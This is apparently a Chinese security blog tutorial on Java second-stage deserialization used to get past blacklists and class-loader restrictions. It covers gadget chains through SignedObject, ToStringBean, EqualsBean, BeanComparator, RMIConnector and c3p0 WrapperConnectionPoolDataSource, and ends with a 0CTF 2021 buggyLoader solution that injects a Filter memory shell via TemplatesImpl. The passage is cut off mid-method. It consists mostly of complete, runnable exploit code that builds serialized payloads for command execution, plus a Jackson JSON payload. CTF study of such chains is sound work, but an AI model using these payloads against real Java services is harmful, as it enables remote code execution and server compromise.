Java二次反序列化

引子

二次反序列化常用于绕过第一次readObject()时的黑名单机制,用于反序列化出一个题目认为安全的对象,但是经过一些列方法调用会再次触发一次readObject(),此时的反序列化便不再有任何限制了

此外,一些题目可能会重写readObject()逻辑,原生的ObjectInputStream类中,readObject()方法后面会调用resolveClass()方法进行类加载,一般使用Class.forName()

protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

Class.forName()方法几乎可以在运行时加载任何类,是默认的反序列化类加载方法,但是有些题目可能会使用自定义的类加载,使用loadClass()方法加载类,比如下面

public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}

使用loadClass()的弊端在于,URLClassLoader使用findClass()从.class字节码文件中加载类,而Java的基本类型如数组是在虚拟机启动时内建,没有所谓的字节码文件供findClass()查找,就无法加载数组类。而几乎所有反序列化链的终点如TemplatesImpl(字节数组加载类)、ChainedTransformer(Transformer数组链式调用)都使用了数组,导致其限制了反序列化攻击

protected Class<?> findClass(final String name)
throws ClassNotFoundException
{
final Class<?> result;
try {
result = AccessController.doPrivileged(
new PrivilegedExceptionAction<Class<?>>() {
public Class<?> run() throws ClassNotFoundException {
String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);
if (res != null) {
try {
return defineClass(name, res);
} catch (IOException e) {
throw new ClassNotFoundException(name, e);
}
} else {
return null;
}
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (ClassNotFoundException) pae.getException();
}
if (result == null) {
throw new ClassNotFoundException(name);
}
return result;
}

二次反序列化绕过

经过前面的分析,我们若想要继续构造Gadget链,要么完全避免使用数组类,而这几乎是不可能的。那就只能寻找再次触发readObject()机会,即二次反序列化

SignedObject

该类二次反序列化了一个字节数组,故只能用于黑名单绕过

在该类的getObject()方法中,进行了一次反序列化

public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

cotent的声明getObject()

private byte[] content;

接下来看如何调用到

ToStringBean

该路线依赖ToStringBean类,是Rome依赖下的类。ToStringBean.toString(String)内有反射调用getter方法的逻辑

private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + ex.getMessage() + "\n");
}

return sb.toString();
}

该段代码通过反射调用了_obj字段的getter方法,让_objSignedObject,就会触发其所有的getter方法,自然就有getObject()

ToStringBean.toString(String)又被ToStringBean.toString()调用

public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}

return this.toString(prefix);
}

已经可以结束了,使用BadAttributeValueExpException 作为入口类即可,这已经讲过很多次了

所以触发二次反序列化的Poc

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(2048);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean =new ToStringBean(signedObject.getClass(), signedObject);

val.set(badAttributeValueExpException, toStringBean);

这里的evilObject就是真正反序列化出来执行恶意方法的类

比如,与CC6结合的Poc

package com.yxxx.javasec.deserialize;

import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.junit.Test;

public class ForTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),"any");

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
Class clazz = tiedMapEntry.getClass();
Field map = clazz.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, lazyMap);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(2048);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashSet, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean =new ToStringBean(signedObject.getClass(), signedObject);

val.set(badAttributeValueExpException, toStringBean);

serialize(badAttributeValueExpException);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("twiceUnserialize.ser")));
oos.writeObject(object);
}

@Test
public void deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("twiceUnserialize.ser")));
ois.readObject();
}
}

至于toString()的触发,其实还有挺多线路,但是BadAttributeValueExpException起点已经足够简单

EqualsBean

该类也是Rome依赖下的,EqualsBean.beanEquals()

public boolean beanEquals(Object obj) {
Object bean1 = this._obj;
Object bean2 = obj;
boolean eq;
if (obj == null) {
eq = false;
} else if (bean1 == null && obj == null) {
eq = true;
} else if (bean1 != null && obj != null) {
if (!this._beanClass.isInstance(obj)) {
eq = false;
} else {
eq = true;

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; eq && i < pds.length; ++i) {
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
eq = this.doEquals(value1, value2);
}
}
}
} catch (Exception ex) {
throw new RuntimeException("Could not execute equals()", ex);
}
}
} else {
eq = false;
}

return eq;
}

这里几乎和上一个ToStringBean如出一辙,也是getter方法调用到SignedObject.getObject(),该方法的上层为EqualsBean.equals()

public boolean equals(Object obj) {
return this.beanEquals(obj);
}

继续往上,找到Hashtable.readObject(),CC7研究过,该方法一路调用到了equals()

结合CC6的Poc

package com.yxxx.javasec.deserialize;

import com.sun.syndication.feed.impl.EqualsBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.Map;
import org.junit.Test;

public class ForTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),"any");

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
Class clazz = tiedMapEntry.getClass();
Field map = clazz.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, lazyMap);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(2048);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(hashSet, kp.getPrivate(), Signature.getInstance("DSA"));

EqualsBean bean = new EqualsBean(String.class, "12");

HashMap<String, Object> hashMap1 = new HashMap<>();
hashMap1.put("yy", bean);
hashMap1.put("zZ", signedObject);
HashMap<String, Object> hashMap2 = new HashMap<>();
hashMap2.put("yy", signedObject);
hashMap2.put("zZ", bean);

Hashtable<Map<?,?>, Integer> hashtable = new Hashtable<>();
hashtable.put(hashMap1,1);
hashtable.put(hashMap2,1);

Field _beanClass = bean.getClass().getDeclaredField("_beanClass");
_beanClass.setAccessible(true);
_beanClass.set(bean, signedObject.getClass());
Field _obj = bean.getClass().getDeclaredField("_obj");
_obj.setAccessible(true);
_obj.set(bean, signedObject);

serialize(hashtable);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("twiceUnserialize.ser")));
oos.writeObject(object);
}

@Test
public void deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("twiceUnserialize.ser")));
ois.readObject();
}
}

由于要触发EqualsBean.equals(),故不再将HashMap修饰为LazyMap,LazyMap调用equals()需要一个Transformer对象

BeanComparator

是的,CommonsBeanutils依赖下也可以是触发SignedObject.getObject()的选择,毕竟CB链本身就是依靠调用getter方法实现代码执行的

所以有Poc

package com.yxxx.javasec.deserialize;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.*;

import org.junit.Test;

public class ForTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),"any");

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
Class clazz = tiedMapEntry.getClass();
Field map = clazz.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, lazyMap);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(2048);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(hashSet, kp.getPrivate(), Signature.getInstance("DSA"));

BeanComparator<Object> beanComparator = new BeanComparator<>();
beanComparator.setProperty("object");

PriorityQueue<Object> priorityQueue = new PriorityQueue<>();
priorityQueue.add(1);
priorityQueue.add(2);
Class<?> clazzz = priorityQueue.getClass();
Field field = clazzz.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, beanComparator);
Field queue = clazzz.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{signedObject, signedObject});
serialize(priorityQueue);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("twiceUnserialize.ser")));
oos.writeObject(object);
}

@Test
public void deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("twiceUnserialize.ser")));
ois.readObject();
}
}

RmiConnector

该类的二次反序列化触发点在findRMIServerJRMP()方法中

private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {
// could forbid "iiop:" URL here -- but do we need to?
final byte[] serialized;
try {
//获取Base字符串转化为数组
serialized = base64ToByteArray(base64);
} catch (IllegalArgumentException e) {
throw new MalformedURLException("Bad BASE64 encoding: " +
e.getMessage());
}
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
//获取对象输入流
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
//二次反序列化
stub = oin.readObject();
} catch (ClassNotFoundException e) {
throw new MalformedURLException("Class not found: " + e);
}
return (RMIServer)stub;
}

由于该类在readObject()使用原生默认方法,不受自定义loadClass()影响,常用于进行如此的绕过

调用该方法的上层为findRMIServer()

private RMIServer findRMIServer(JMXServiceURL directoryURL,
Map<String, Object> environment)
throws NamingException, IOException {
final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
if (isIiop) {
// Make sure java.naming.corba.orb is in the Map.
environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
}

String path = directoryURL.getURLPath();
int end = path.indexOf(';');
if (end < 0) end = path.length();
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/stub/"))
//上层方法调用处
return findRMIServerJRMP(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/ior/")) {
if (!IIOPHelper.isAvailable())
throw new IOException("iiop protocol not available");
return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
} else {
final String msg = "URL path must begin with /jndi/ or /stub/ " +
"or /ior/: " + path;
throw new MalformedURLException(msg);
}
}

有个条件是path需要以/stub/开头,而path截断前6个字符剩下的内容则作为findRMIServerJRMP()的形参base64传入

由于要找到directoryURL的来源,继续找到上层connnect()方法,该方法说明directoryURL来自字段jmxServiceURL

image-20260201232500909

这个connect()是有参方法,其实还有一个无参公开重载方法

public void connect() throws IOException {
connect(null);
}

无参的特点可以在loadClass()执行一次代码时指向该方法,最终造成二次反序列化

回到刚才,jmxServiceURL是一个JMXServiceURL实例,前面对其调用getURLPath()其实是取出了其urlPath字段

public String getURLPath() {
return urlPath;
}

urlPath为字符串类型,只要我们能够控制其以/stub/开头并接上要加载类的字节码Base64编码,就能触发二次反序列化

至于urlPath的格式,在JMXServiceURL的构造方法中

image-20260201233459816

要求以service:jmx:开头,除此以外

image-20260201234048086

还要求前缀后接一个协议名://的格式,如rmi://

但其实后面给urlPath赋值把前面都截断了,但是为了避免抛出异常,还是需要依照格式来

image-20260201234516570

所以前半段的Poc

package com.yxxx.javasec.deserialize;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.Test;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;

public class ForTest {
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
Field urlPath = jmxServiceURL.getClass().getDeclaredField("urlPath");
urlPath.setAccessible(true);
urlPath.set(jmxServiceURL, "/stub/{Base64EncodeString}");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
Map hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),rmiConnector);

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
Class clazz = tiedMapEntry.getClass();
Field map = clazz.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, lazyMap);

serialize(hashSet);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("twiceUnserialize.ser")));
oos.writeObject(object);
}

@Test
public void deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("twiceUnserialize.ser")));
ois.readObject();
}
}

调试发现能够走到findRMIServerJRMP()方法

image-20260202001445246


WrapperConnectionPoolDataSource

该类为c3p0依赖下的类,由于该类的触发需要setter方法,一般配合jackson或fastjson来利用

该类在创建时设置了一个PropertyListener属性监听器,当类中的字段发生变化时,该监听器会触发一定行为

public WrapperConnectionPoolDataSource(boolean autoregister)
{
super( autoregister );

//设置了属性监听器
setUpPropertyListeners();

//set up initial value of userOverrides
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
}

该监听器的运行方法vetoableChange(),可见当属性名等同于userOverridesAsString时,会进入一个else分支

public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();

if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}

分支中的C3P0ImplUtils.parseUserOverridesAsString()传入的val为对应字段名的值,进入该方法

public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

方法中将一个16进制字符串userOverridesAsString转化为了字节数组,转化前16进制字符串扣除了前缀和最后一个字符,前缀HASM_HEADER为常量HexAsciiSerializedMap,进入SerializableUtils.fromByteArray()

public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}

进入deserializeFromByteArray()

public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}

可以看到调用了原生readObject(),为二次反序列化的起点

所以第一次反序列化的终点就是setUpPropertyListeners(),另外,JSON反序列化一般是先创建空对象再逐一赋值,这其中就涉及到setter方法的调用,当反序列化过程尝试修改字段值时,就会触发监听器的行为,该类的setUpPropertyListeners()继承自父类

public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}

最后的序列化对象

{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap{HEX_STRING};"
}
}

测试Poc,尝试二次反序列化一个Map

public class ForTest {
public static void main(String[] args) throws Exception {
String json = "{\n" +
" \"@class\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\": \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740015757365724f76657272696465734173537472696e67740015486578417363696953657269616c697a65644d617078;\"\n" +
"}";

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping(
ObjectMapper.DefaultTyping.NON_FINAL,
JsonTypeInfo.As.PROPERTY
);
Object obj = mapper.readValue(json, Object.class);
}

发现是成功的

image-20260202142418553


引例:[0CTF 2021] buggyLoader

docker镜像:BabyTeam1024/0ctf_buggyLoader

查看源码,/basic路由接收data参数

@Controller
public class IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("SJTU") && year == 1896) {
objectInputStream.readObject();
}

return "index";
}
}

此处反序列化统一使用自定义的输入流的方法MyObjectInputStream.readObject(),翻看源码得到

public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}

这里就是限制的地方,由于使用URLClassLoader.loadClass(),数组类的加载受到了限制,于是尝试通过RmiConnector进行二次反序列化

源码用了CC的依赖,先把后半段的逻辑写上,这里用Filter内存马

后半段我把CC5改成类加载逻辑

byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\leyi\\IntelliJTest\\serialize\\UniJava\\target\\classes\\InjectClass.class"));

TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "any");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazzz = badAttributeValueExpException.getClass();
Field val = clazzz.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

定义的Base64编码和16进制转码方法

public static String serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);

byte[] bytes = baos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
}

public static String objectToHex(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(obj);
byte[] bytes = baos.toByteArray();
StringBuilder hex = new StringBuilder();
for (byte b : bytes) {
hex.append(String.format("%02x", b));
}
return hex.toString();
}

前面是RmiConnector的逻辑,最后输出

String Base64encode = serialize(badAttributeValueExpException);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
Field urlPath = jmxServiceURL.getClass().getDeclaredField("urlPath");
urlPath.setAccessible(true);
urlPath.set(jmxServiceURL, "/stub/"+Base64encode);
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("connect", null, null);
Map hashMap = new HashMap();
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap, invokerTransformer1);
TiedMapEntry tiedMapEntry2 = new TiedMapEntry(new HashMap<>(),rmiConnector);

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry2);
Class clazzzz = tiedMapEntry2.getClass();
Field map2 = clazzzz.getDeclaredField("map");
map2.setAccessible(true);
map2.set(tiedMapEntry2, lazyMap2);

String hex = objectToHex(hashSet);
System.out.println(hex);

全链如下

package com.yxxx.javasec.deserialize;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;


public class ForTest {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\leyi\\IntelliJTest\\serialize\\UniJava\\target\\classes\\InjectClass.class"));

TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "any");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazzz = badAttributeValueExpException.getClass();
Field val = clazzz.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

String Base64encode = serialize(badAttributeValueExpException);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
Field urlPath = jmxServiceURL.getClass().getDeclaredField("urlPath");
urlPath.setAccessible(true);
urlPath.set(jmxServiceURL, "/stub/"+Base64encode);
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("connect", null, null);
Map hashMap = new HashMap();
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap, invokerTransformer1);
TiedMapEntry tiedMapEntry2 = new TiedMapEntry(new HashMap<>(),rmiConnector);

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry2);
Class clazzzz = tiedMapEntry2.getClass();
Field map2 = clazzzz.getDeclaredField("map");
map2.setAccessible(true);
map2.set(tiedMapEntry2, lazyMap2);

String hex = objectToHex(hashSet);
System.out.println(hex);
}

public static String serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
